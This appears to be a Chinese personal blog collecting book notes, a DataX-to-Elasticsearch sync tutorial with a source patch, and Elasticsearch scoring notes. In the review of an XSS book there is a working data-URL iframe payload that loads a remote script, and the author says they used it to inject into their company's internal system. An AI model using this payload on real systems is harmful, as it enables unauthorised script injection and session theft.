《关键对话》

这是我读过众多情绪管理和沟通技巧中最有用的, 它分析了我们遇见问题时候的心里和生理特征,并且总结归纳出了一套实用的沟通模型。遇见关键对话时我们很容易陷入傻瓜选择(打或者逃),它从人类进化学的角度解释了这种原因并且分析出了一系列的行为表现和特征,主张培养双路对话处理能力并且列举出来了一系列让对话可以达到我们目标的实施路数。这套沟通模型我也花了时间记了下来用在了平时生活中,感触颇深。

关键对话

文档链接: https://share.mubu.com/doc/4PX1d5k11uQ 密码: k9s4

《掌握情绪从来都不靠忍》

只读到了第4章,姐夫勾引小姨子就读不下去了。买这本书是因为当当凑满减,并且感觉自己在很多时候无法合理控制自己的应急情绪就买下了想听听专业的人给的专业意见,到手快一年半一直没看。虽然很多观点不认同但是还是有一定收获

  • 人对情绪的掌控分为先天的原始情绪和后天因为环境或者教育训练出来的后台情绪,我们要尽量强化后者但是前者也有适用性

  • 这本书佐证了《读懂一本书》中樊老师的观点,选好书至少要看出版社,作者履历,推荐者等关键信息。

个人不喜欢原因如下

  • 打着心里学图书的幌子但是没实际写出心理学中对人体的科学证明全书连大脑皮层分析没有提一个字,都是给女性粉丝或女性朋友提供情感辅导让人疑惑书的核心论点
  • 郭老师的写作风格,看似是写书论理,实际是把身边说过自己坏话的人拿出来鞭尸一次
  • 博取读者共鸣但是禁不起推敲,细品无味

《Elasticsearch 实战》

刚接触elasticseach是在2016年,那时候项目组急着做搜索的优化挑灯摸索过一段时间。然后因为种种原因项目最后使用了其他的全文搜索引擎,从文档到极客时间的视频教程,比较下来感觉想要系统性的学习还是只有看书。个人认为elasticseach有2个方面的擅长场景全文索引,数据聚合

elasticseach实战脑图

文档链接: https://mubu.com/doc/20h3OBKQX54#m
密码: 4cc4

《如何读懂一本书》

看了很多书一直感觉书看完了,里面的知识点没法吸收后面谋生了做思维导图的念头。在通勤路上听樊登讲书的时候听见了这本,然后买了本纸质的来学习。这本书主要是从读书的好处,如何选书,如何读书和怎么产生自己的知识体系进化到可以给别人去传播的一个过程。一套标准的从输入到输出的流程,值得花时间去学习下对后续的阅读很有帮助

如何读懂一本书思维导图

文档链接: https://share.mubu.com/doc/I5q6MP3EEk 密码: 03rc

datax实现mysql同步elasticsearch

datax实现mysql同步elasticsearch

为什么写

> 本来datax这种开源的东西是开包看着手册就可以食用的,但是由于开源版`年久失修`阿里也是重推云端版车并不能顺畅的开起来。

目的

* 解决mysql导入elasticsearch7.x系列时间兼容问题
* 解决datax elasticsearchwriter 插件权限认证相关问题
* 解决MacOs 下datax不能正常使用
* 解决datax 无法本地编译问题
* 配置文件

安装

datax是什么

DataX 是阿里巴巴集团内被广泛使用的离线数据同步工具/平台,实现包括 MySQL、Oracle、SqlServer、Postgre、HDFS、Hive、ADS、HBase、TableStore(OTS)、MaxCompute(ODPS)、DRDS 等各种异构数据源之间高效的数据同步功能。 官方解释,需要注意的是这是一款全量同步工具

datax下载

datax 的安装方式有2种,第一种是自己全部重新编译一次。第二种是下载官方编译好的框架,自己编译扩展,但是感觉这个项目很久没更新mvn编译源码老是出问题(我比较菜)。然后就采用了第二种玩法

elasticsearchwriter插件编译

类型 数据源 Reader(读) Writer(写) 文档
RDBMS 关系型数据库 MySQL √ √ 读 、写
Oracle √ √ 读 、写
SQLServer √ √ 读 、写
PostgreSQL √ √ 读 、写
DRDS √ √ 读 、写
通用RDBMS(支持所有关系型数据库) √ √ 读 、写
阿里云数仓数据存储 ODPS √ √ 读 、写
ADS √ 写
OSS √ √ 读 、写
OCS √ √ 读 、写
NoSQL数据存储 OTS √ √ 读 、写
Hbase0.94 √ √ 读 、写
Hbase1.1 √ √ 读 、写
Phoenix4.x √ √ 读 、写
Phoenix5.x √ √ 读 、写
MongoDB √ √ 读 、写
Hive √ √ 读 、写
Cassandra √ √ 读 、写
无结构化数据存储 TxtFile √ √ 读 、写
FTP √ √ 读 、写
HDFS √ √ 读 、写
Elasticsearch √ 写
时间序列数据库 OpenTSDB √ 读
TSDB √ √ 读 、写

从文档描述可见 elasticsearch 是有这个插件的,但是但你配置好所有配置后你并不能立即运行并且会得到下面这行错误

1
2
3
4
5
6
7
8
9
10
2020-12-21 13:44:56.813 [main] WARN  ConfigParser - 插件[mysqlreader,elasticsearchwriter]加载失败,1s后重试... Exception:Code:[Framework-12], Description:[DataX插件初始化错误, 该问题通常是由于DataX安装错误引起,请联系您的运维解决 .].  - 插件加载失败,未完成指定插件加载:[elasticsearchwriter, mysqlreader]
2020-12-21 13:44:57.839 [main] ERROR Engine -

经DataX智能分析,该任务最可能的错误原因是:
com.alibaba.datax.common.exception.DataXException: Code:[Framework-12], Description:[DataX插件初始化错误, 该问题通常是由于DataX安装错误引起,请联系您的运维解决 .]. - 插件加载失败,未完成指定插件加载:[elasticsearchwriter, mysqlreader]
at com.alibaba.datax.common.exception.DataXException.asDataXException(DataXException.java:26)
at com.alibaba.datax.core.util.ConfigParser.parsePluginConfig(ConfigParser.java:142)
at com.alibaba.datax.core.util.ConfigParser.parse(ConfigParser.java:63)
at com.alibaba.datax.core.Engine.entry(Engine.java:137)
at com.alibaba.datax.core.Engine.main(Engine.java:204)

原因是在文件 plugin 扩展目录下没有 elasticsearchwriter 扩展,writer只有这几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
├── adswriter
├── cassandrawriter
├── drdswriter
├── ftpwriter
├── hbase094xwriter
├── hbase11xsqlwriter
├── hbase11xwriter
├── hdfswriter
├── mongodbwriter
├── mysqlwriter
├── ocswriter
├── odpswriter
├── oraclewriter
├── osswriter
├── otswriter
├── postgresqlwriter
├── rdbmswriter
├── sqlserverwriter
├── streamwriter
└── txtfilewriter

所以我们需要自己编译一个 elasticsearchwriter,有点过分 :-(

  • 编译

接下来我们需要 git clone 下这个项目的源码进入 ~/DataX-master/elasticsearchwriter 执行 mvn -U clean package assembly:assembly -Dmaven.test.skip=true
会得到如下输出表示编译成功

1
2
3
4
5
6
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 9.445 s
[INFO] Finished at: 2020-12-21T13:57:22+08:00
[INFO] ------------------------------------------------------------------------

把 ~/DataX-master/elasticsearchwriter/target/datax/plugin/writer 目录下的elasticsearchwriter 复制到 /Users/zhangjunjie/Downloads/datax/plugin/writer

如果你和我一样使用的是MACOS会出下下方的一个错误信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DataX (DATAX-OPENSOURCE-3.0), From Alibaba !
Copyright (C) 2010-2017, Alibaba Group. All Rights Reserved.


2020-12-21 15:53:30.004 [main] WARN ConfigParser - 插件[mysqlreader,elasticsearchwriter]加载失败,1s后重试... Exception:Code:[Common-00], Describe:[您提供的配置文件存在错误信息,请检查您的作业配置 .] - 配置信息错误,您提供的配置文件[/Users/zhangjunjie/Downloads/datax/plugin/writer/.DS_Store/plugin.json]不存在. 请检查您的配置文件.
2020-12-21 15:53:31.019 [main] ERROR Engine -

经DataX智能分析,该任务最可能的错误原因是:
com.alibaba.datax.common.exception.DataXException: Code:[Common-00], Describe:[您提供的配置文件存在错误信息,请检查您的作业配置 .] - 配置信息错误,您提供的配置文件[/Users/zhangjunjie/Downloads/datax/plugin/writer/.DS_Store/plugin.json]不存在. 请检查您的配置文件.
at com.alibaba.datax.common.exception.DataXException.asDataXException(DataXException.java:26)
at com.alibaba.datax.common.util.Configuration.from(Configuration.java:95)
at com.alibaba.datax.core.util.ConfigParser.parseOnePluginConfig(ConfigParser.java:153)
at com.alibaba.datax.core.util.ConfigParser.parsePluginConfig(ConfigParser.java:134)
at com.alibaba.datax.core.util.ConfigParser.parse(ConfigParser.java:63)
at com.alibaba.datax.core.Engine.entry(Engine.java:137)
at com.alibaba.datax.core.Engine.main(Engine.java:204)

我们需要用命令行删掉 /Users/zhangjunjie/Downloads/datax/plugin/writer/.DS_Store

执行 rm /Users/zhangjunjie/Downloads/datax/plugin/writer/.DS_Store

到了这一步是可以正常的去运行这个工具,但是还是有两个问题。

问题一

  • 本地测试或者vpn环境 elasticsearch 没有设置账号密码
    • 修改源码配置文件中去掉密码选项(不推荐)
    • 密码选项上填1

问题二

  • 未创建mapping同步完成后date格式和指定的不一致,创建了mapping显示类似下面这样的报错信息
1
2
3
4
5
6
7
2020-12-21 15:59:48.415 [0-0-0-writer] ERROR StdoutPluginCollector - 脏数据:
{"message":"status:[400], error: {\"type\":\"mapper_parsing_exception\",\"reason\":\"failed to parse field [created_at] of type [date] in document with id '27'. Preview of field's value: '2020-10-28T11:16:06.000+08:00'\",\"caused_by\":{\"type\":\"illegal_argument_exception\",\"reason\":\"failed to parse date field [2020-10-28T11:16:06.000+08:00] with format [yyyy-MM-dd HH:mm:ss]\",\"caused_by\":{\"type\":\"date_time_parse_exception\",\"reason\":\"Text '2020-10-28T11:16:06.000+08:00' could not be parsed at index 10\"}}}","record":[{"byteSize":2,"index":0,"rawData":27,"type":"LONG"},{"byteSize":3,"index":1,"rawData":"指示牌","type":"STRING"},{"byteSize":6,"index":2,"rawData":543364,"type":"LONG"},{"byteSize":4,"index":3,"rawData":1893,"type":"LONG"},{"byteSize":8,"index":4,"rawData":1603854966000,"type":"DATE"}],"type":"writer"}

2020-12-21 16:00:42.916 [0-0-0-writer] WARN ESClient - One or more of the items in the Bulk request failed, check BulkResult.getItems() for more information.
2020-12-21 16:00:42.916 [0-0-0-writer] WARN ESWriter$Job - response code: [200] error :[One or more of the items in the Bulk request failed, check BulkResult.getItems() for more information.]
c2020-12-21 16:00:48.927 [0-0-0-writer] WARN ESClient - One or more of the items in the Bulk request failed, check BulkResult.getItems() for more information.
2020-12-21 16:00:48.929 [0-0-0-writer] WARN ESWriter$Job - response code: [200] error :[One or more of the items in the Bulk request failed, check BulkResult.getItems() for more information.]

经过了很久的折磨被逼无赖去阅读了插件的源码发现在 ~/DataX-master/elasticsearchwriter/src/main/java/com/alibaba/datax/plugin/writer/elasticsearchwriter/ESWriter.java 文件中有个 getDateStr方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String getDateStr(ESColumn esColumn, Column column) {
DateTime date = null;
DateTimeZone dtz = DateTimeZone.getDefault();
if (esColumn.getTimezone() != null) {
// 所有时区参考 http://www.joda.org/joda-time/timezones.html
dtz = DateTimeZone.forID(esColumn.getTimezone());
}
if (column.getType() != Column.Type.DATE && esColumn.getFormat() != null) {
DateTimeFormatter formatter = DateTimeFormat.forPattern(esColumn.getFormat());
date = formatter.withZone(dtz).parseDateTime(column.asString());
return date.toString();
} else if (column.getType() == Column.Type.DATE) {
date = new DateTime(column.asLong(), dtz);
return date.toString();
} else {
return column.asString();
}
}

在第一个if判断中 column.getType() != Column.Type.DATE 一直都是false 他们的值都为DATE,尝试更换配置文件中的type值也无效,具体原因要看接口文档为什么这个地方会这样写是有配置控制,还是写错了(问题找到了,我懒就没有深度的去分析了),反正是无法进入第一个if的

代码走的第二个if没有格式化时间DateTime.toString() 默认 ISODateTimeFormat,所以我们需要在第二段if里面加上时间格式化就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String getDateStr(ESColumn esColumn, Column column) {
DateTime date = null;
DateTimeZone dtz = DateTimeZone.getDefault();
if (esColumn.getTimezone() != null) {
// 所有时区参考 http://www.joda.org/joda-time/timezones.html
dtz = DateTimeZone.forID(esColumn.getTimezone());
}
if (column.getType() != Column.Type.DATE && esColumn.getFormat() != null) {
DateTimeFormatter formatter = DateTimeFormat.forPattern(esColumn.getFormat());
date = formatter.withZone(dtz).parseDateTime(column.asString());
return date.toString();
} else if (column.getType() == Column.Type.DATE) {
date = new DateTime(column.asLong(), dtz);
return date.toString(esColumn.getFormat());
} else {
return column.asString();
}
}

重新编译下替换到指定目录就可以顺利的运行起来

注意:重新编译依然需要删掉隐藏文件

配置文件编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
{
"job": {
"setting": {
"speed": {
"channel":1
}
},
"content": [
{
"reader": {
"name": "mysqlreader",
"parameter": {
"username": "user",
"password": "pass",
"connection": [
{
"querySql": [
"select id,keyword,scount,icount,created_at from `b`.`a`"
],
"jdbcUrl": [
"jdbc:mysql://127.0.0.1/db"
]
}
]
}
},
"writer": {
"name": "elasticsearchwriter",
"parameter": {
"endpoint": "http://127.0.0.1:9200",
"accessId": "1",
"accessKey": "1",
"index": "tip",
"type": "_doc",
"cleanup": false,
"discovery": false,
"batchSize": 1000,
"splitter": ",",
"dynamic": true,
"column" : [
{"name": "id", "type": "id"},
{"name": "keyword", "type": "text", "analyzer": "888pic_pinyin"},
{"name": "scount", "type": "integer"},
{"name": "icount", "type": "integer"},
{"name": "created_at", "type": "date", "format": "yyyy-MM-dd HH:mm:ss"}
]
}
}
}
]
}
}

《终身成长》

通勤路上喜欢听下樊登读书里面分享的东西,这一本让我产生了共鸣并且为知识付费了一把买了2年的会员,也是第一本我没看实体书但是想记下来的

其实这类型的书都是一个套路抛出观点,然后去佐证。

这个书的观点就是把人的思维方式分为了2类

固定性思维和成长型思维,相比《刻意练习》而言这种思维方式侵入了我们生活工作的方方面面。

我父母这一辈子最常在嘴巴的话就是别人学历比他们高所以在社会上混得比他们好,期初我也认为如此但是读了它过后我意识到了是思维上给自己设界了,教育的本身不是用来筛选,是为了赋予解决事情的能力。

其实也是因为听了这边书我才找到了动力把现在项目进行技术上的升级。

《空谷幽兰》

读这本书是因为左耳朵耗子在infoQ人物志结尾的那句话 芝兰生于空谷,不以无人而不芳香。

虽然没有什么很强的联系,但是这一本书确实可以让人在物欲横流的都市生活中得到一次放松自己的机会。

很佩服月亮与六便士里面的人物原型高更,很佩服书中的各个隐士,他们都是肯为自己的信仰爱好穷尽一生去追求如苦行僧一般追求卓越的人。

最值得一提的是,这本书的作者是一个外国人

https://www.infoq.cn/video/DZZBovqZcjHC0l61Co7d

《XSS跨站脚本攻击剖析与防御》

16年刚来上海的时候在咸鱼买的二手书,2020年才拿出来阅读上面已经长了很厚的一层灰了

优:

  • 扫盲+实战的结合
  • 给出了复现过程可以自己尝试
  • 列举常见的手法

劣:

  • 13年第一版,15年第5版。现在都2020年了,很多入侵方法都得到了修正
  • 图+代码占据了太多篇幅,有用的点就那几个

读这本书其实最大的收获是了解1种很有意思的注入方法http response splitting cookie的方式我没复现出来转义失效,301的方截取的方式,发现php5.6版本会直接抛出错误(本地最低版本就只有5.6,不知道更低版本是否有这种问题

还有一种是Data urls xss,比较方便省事

1
<iframe style="width:0px;height:0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHBzOi8vcGljLnBocHpqai5jb20veHNzLmpzIj48L3NjcmlwdD4="></iframe>

我们公司内部系统有个注入点,用这个方法成功注入。但是不知道是不是上次把领导头像换成吉祥物过后提高了防备,auth信息搞了httpOnly 但是配合CSRF还是无懈可击的(只是想想没时间也不敢去实际操作):tw-1f61b: :tw-1f61b:。

elasticsearch基础评分细则explain解析

基础score计算公式

词频

词频是指词在文档中出现的频率,频率越高权重越高
公式:
tf(t in d) = √frequency

在文档d中t出现的次数,具体值是开根号过后的

逆向文档频率

词在集合所有文档中出现的评率,出现次数越多权重越低(词的稀有度)
idf(t) = 1 + log ( numDocs / (docFreq + 1))

numDocs : 索引中文档数量
docFreq : 所有包含该词的文档数

字段长度归一值

字段越短,字段的权重 越高

norm(d) = 1 / √numTerms

字段长度归一值( norm )是字段中词数平方根的倒数。

索引时字段层权重提升

查询权重提升可以用 boost 关键字,但是也可以在建立索引时就直接提升权重,不建议这样做。

查询归一因子(queryNorm)

把不同查询结果比较,计算termd对于整个query的重要性。让稀少的term相对于大众化的term更高。但是在排序按官方的说法可以不去管它

查询协调因子 (coord)

这个的作用是匹配到的词越多,权重越高(虽然相加也是一样的,但是这种算法拉开了命中数量间的权重差距)

可以为那些查询词包含度高的文档提供奖励,文档里出现的查询词越多,它越有机会成为好的匹配结果。

设想查询 quick brown fox ,每个词的权重都是 1.5 。如果没有协调因子,最终评分会是文档里所有词权重的总和。例如:

文档里有 fox → 评分: 1.5
文档里有 quick fox → 评分: 3.0
文档里有 quick brown fox → 评分: 4.5
协调因子将评分与文档里匹配词的数量相乘,然后除以查询里所有词的数量,如果使用协调因子,评分会变成:

文档里有 fox → 评分: 1.5 * 1 / 3 = 0.5
文档里有 quick fox → 评分: 3.0 * 2 / 3 = 2.0
文档里有 quick brown fox → 评分: 4.5 * 3 / 3 = 4.5
协调因子能使包含所有三个词的文档比只包含两个词的文档评分要高出很多。

查询时权重提升 (t.getBoost)

提升某一个查询语句的重要度默认为1,boost参数设置

实用评分函数

1
2
3
4
5
6
7
8
9
score(q,d)  =  
queryNorm(q) ........................ 查询归一因子
· coord(q,d) ........................ 查询协调因子
· ∑ ( ........................ 西格玛求和
tf(t in d) ...................... 词频
· idf(t)² ...................... 逆向词频
· t.getBoost() .................... 权重提升
· norm(t,d) .......................字段长度归一值
) (t in q)

实际应用调整

在实际使用过程中我们应该善用explain可以清晰的看见打分的规则

比如这个索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
GET index_name/_search?explain=true&format=yaml
{
"from" : 0,
"size": 1,
"query": {
"function_score": {
"query": {
"bool": {
"must": {
"multi_match": {
"query": "双11海报",
"type": "best_fields",
"fields": [
"title",
"keyword^0.01"
],
"minimum_should_match": "70%"
}
},
"filter": []
}
},
"functions": [
{
"field_value_factor": {
"field": "cl_num",
"modifier": "log1p",
"factor": 1.1
}
},
{
"field_value_factor": {
"field": "dl_num",
"modifier": "log1p",
"factor": 1.1
}
},
{
"gauss":
{
"mtime":
{
"origin":"now",
"offset":"1d",
"scale":"1d"
}
}
}
],

"max_boost" : 20
}
}
}

总评分

截图中可以看见这个素材的综合评分是 96.66913

它是由一个基础的 source 乘上一个系数得出的

乘可以通过修改boost_mode改成其他的算法

1
2
3
4
5
6
7
8
9
10
11

multiply
评分 _score 与函数值的积(默认)
sum
评分 _score 与函数值的和
min
评分 _score 与函数值间的较小值
max
评分 _score 与函数值间的较大值
replace
函数值替代评分 _score

source评分

因为我们 fields 的是2个字段所以,这里分别对 title和keyword评分,keyword是乘上了系数后的结果

max of 取最大评分这个值也可以通过修改 "type": "best_fields", 为其它值来控制比如相加。

点开title的评分细则可以看见

title评分11.724932,它是3个因子相加得出的。这3个因子是我们的搜索词 双11海报 分词后的 双,11,海报 分别进行计算得到的,再继续展开可以发现termd在整个query中查询其实就是 tf+idf+boost得出的。
ps:tf/idf是整个搜索算法的灵魂,相应的公式也是有学术论文进行讲解的,高版本的es会使用bm25

自定义系数评分

其实这个 自定义系数评分 是我杜撰的一个名字,它是非关键词搜索评分,但是我感觉前者更容易理解。
从截图中可以看见这个评分也是由3个因子相加得出的,通过max_boost 我限制了他的最大值是20。这3个因子分别是我们查询语句中的 functions 里面的 field_value_factor 评分和 gauss 评分展开它们都有详细的公式

分阶段性我终结了下我这个query语句它的大体打分公式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

默认多词匹配公式
_source =
max(
(title = ∑(
boost +
idf +
tf
) (t in q)
)
,
(keyword = ∑(
boost +
idf +
tf
) (t in q)
)
)

素材关键词权重
_source =
max(
(title = ∑(
boost +
idf +
tf
) (t in q)
)
,
(keyword = ∑(
boost +
idf +
tf
) (t in q)
)*素材关键词权重
)

作品热度权重调整

_source * min((收藏权重*下载权重), 20)

收藏权重 = log1p(收藏数 * 收藏权重参数)
下载权重 = log1p(下载数 * 下载权重参数)



时间周期权重(高斯函数)

_source * min((收藏权重*下载权重*时间周期权重), 20)

时间周期权重会在 `最大权重天数` 内保持为整数 1
`最大权重天数` 以外左右偏移 `衰减天数` 逐步为0

在实际生产过程中我们需要不断的去尝试这里面可以认为控制的可变因子,然后找到最合适项目中可以使用的值,我做了一个这样的工具方便运营调整参数直观的看见结果。

参考

https://www.elastic.co/guide/cn/elasticsearch/guide/current/practical-scoring-function.html#query-norm

queryNorm
https://gist.github.com/softwaredoug/938f1bdf8d13a5145215

请我喝杯咖啡吧~